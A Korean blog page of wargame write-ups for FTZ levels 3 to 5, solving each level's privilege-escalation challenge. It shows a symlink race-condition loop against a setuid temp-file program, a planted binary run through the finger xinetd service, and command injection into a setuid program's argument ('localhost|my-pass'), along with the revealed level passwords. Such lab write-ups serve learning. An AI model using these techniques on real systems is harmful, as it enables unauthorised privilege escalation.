FTZ level5

Posted by dw0rdptr
2015. 3. 17. 20:42 System/FTZ


hint :

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.


이를 이용하여 level6의 권한을 얻어라



level5는 setuid가 걸려있다.


level5를 실행해보면 아무런 아웃풋 없이 프로그램이 종료된다.

힌트에서 /tmp 디렉토리에 임시파일을 생성한다고 했으나 실제로 /tmp 디렉토리에는

level5.tmp 파일이 존재하지 않았다.


여기서 생각해볼 수 있는 경우의 수는

아예 처음부터 level5 프로그램이 임시파일을 생성하지 않거나

프로그램이 종료되면 임시파일도 같이 삭제되는 경우를 생각해 볼 수 있다.


첫번째는.. 엿먹으라고 힌트를 저렇게 줄리 없으니

두번째경우로 가정을 한다면 레이스컨디션이라는 해킹기법과 심볼릭 링크를 이용해 패스워드를 알아내야 한다.


심볼릭링크와 레이스컨디션에 대한 자세한 설명은 http://geundi.tistory.com/48 이곳에 나와있다.


level5 프로그램을 여러번 실행하는 간단한 프로그램을 짠다



1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;
    for(i=0;i<=1000;i++)
        system("/usr/bin/level5");        
}
cs

level5가 여러번 실행되면서  /tmp 디렉토리에는 level5.tmp가 생성되었다 삭제되는게 반복될 것이다

이번엔 임의의 파일 slink를 /tmp 디렉토리에 생성하고 level5.tmp를 slink의 심볼릭링크 파일로 생성하는 프로그램을 짠다


[level5@ftz tmp]$ touch slink

[level5@ftz tmp]$ vi link.c

1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;        
    for(i=0;i<=1000;i++)
        system("ln -s /tmp/slink /tmp/level5.tmp");        
}
cs




[level5@ftz tmp]$ gcc -o level level.c

[level5@ftz tmp]$ gcc -o link link.c


이 두 프로그램을 동시에 실행시키면 level5를 실행하면 level5.tmp에 내용이 써지게 되고

심볼릭링크인 level5.tmp의 원본파일인 slink에도 그대로 쓰여질 것이다.



[level5@ftz tmp]$ ./level5&

[1] 8267

[level5@ftz tmp]$ ./link

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

.

.

.

[1]+ Exit 84 ./level5


[level5@ftz tmp]$cat slink




'System > FTZ' 카테고리의 다른 글

FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17

FTZ level4

Posted by dw0rdptr
2015. 3. 17. 20:35 System/FTZ


hint : 누군가 /etc/xinetd.d/에 백도어를 심어놓았다.



xinetd.d폴더를 보면 backdoor가 있다.


service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


vi로 뜯어본 결과

finger 서비스를 실행시키면

level5 의 권한으로 /home/level4/tmp/backdoor 파일을 실행시킨다.


하지만 저 경로에 backdoor라는 파일이 없으므로 간단한 c프로그램으로 해결하자



[level4@ftz tmp]$ vi backdoor.c


1
2
3
4
5
int main(){    
    system("my-pass");    
    return 0;
}
 
cs


이렇게 system함수로 my-pass 명령어를 실행할 수 있게 프로그램을 짰다

이제 gcc로 컴파일을 하자



*gcc 사용법:

gcc [옵션][생성될 실행파일] [컴파일할 c파일]



[level4@ftz tmp]$ gcc -o backdoor backdoor.c

같은 폴더에 backdoor라는 바이너리 파일이 생성되었다.

한번 실행해보자


[level4@ftz tmp]$ ./backdoor 

Level4 Password is "suck my brain"


현재 레벨의 권한으로 실행시켰으니 당연히 현재 레벨의 패스워드가 나온다.

그럼 finger명령어를 통해 실행시키면 level5의 권한으로 실행되니 level5의 패스워드가 나올 것이다.



finger 명령어는 사용자의 계정정보를 확인하는 명령어인데

finger @host명 으로 실행하게 되면 해당 서버에 접속해 있는 모든 유저의 정보를 출력한다

finger의 서버가  /home/level4/tmp/backdoor 으로 설정되어 있으니 서버에 접속하게 되면 그대로 

아까 생성해놓은 backdoor를 실행하게 되고 level5의 패스워드가 나올 것이다.


[level4@ftz tmp]$ finger @localhost

^[[H^[[J


'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17

FTZ level3

Posted by dw0rdptr
2015. 3. 17. 20:09 System/FTZ


argc와 argv에 대해


main함수, 즉 프로그램이 실행할 때 인자를 받는경우 argc는 받는 인자의 개수를 뜻하고, argv는 인자를 가리킨다.


다음 코드는 autodig의 소스이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> 
int main(int argc, char **argv){         //argc는 인자의 개수, argv는 인자를 뜻한다     
    
    char cmd[100];     
 
    if( argc!=2 )
{        
        printf( "Auto Digger Version 0.9\n" );        
        printf( "Usage : %s host\n", argv[0] );        
        exit(0);    
    }     
 
    strcpy( cmd, "dig @" );    
    strcat( cmd, argv[1] );    
    strcat( cmd, " version.bind chaos txt");     
 
    system( cmd ); 
}
 
cs

이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?



인자가 2개가 아닐경우 프로그램을 바로 종료해버린다.

동시에 여러 인자를 전달하려면 파이프명령어 | (Shift+\) 를 쓰면 된다.


[level3@ftz level2]$ ./autodig localhost|my-pass


Level3 Password is "can you fly?".



? 현재 레벨의 my-pass가 나온다

힌트에 문자열 형태로 명령어를 전달하라고 했으니 ""를 써보자


[level3@ftz level2]$ ./autodig "localhost|my-pass"




'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17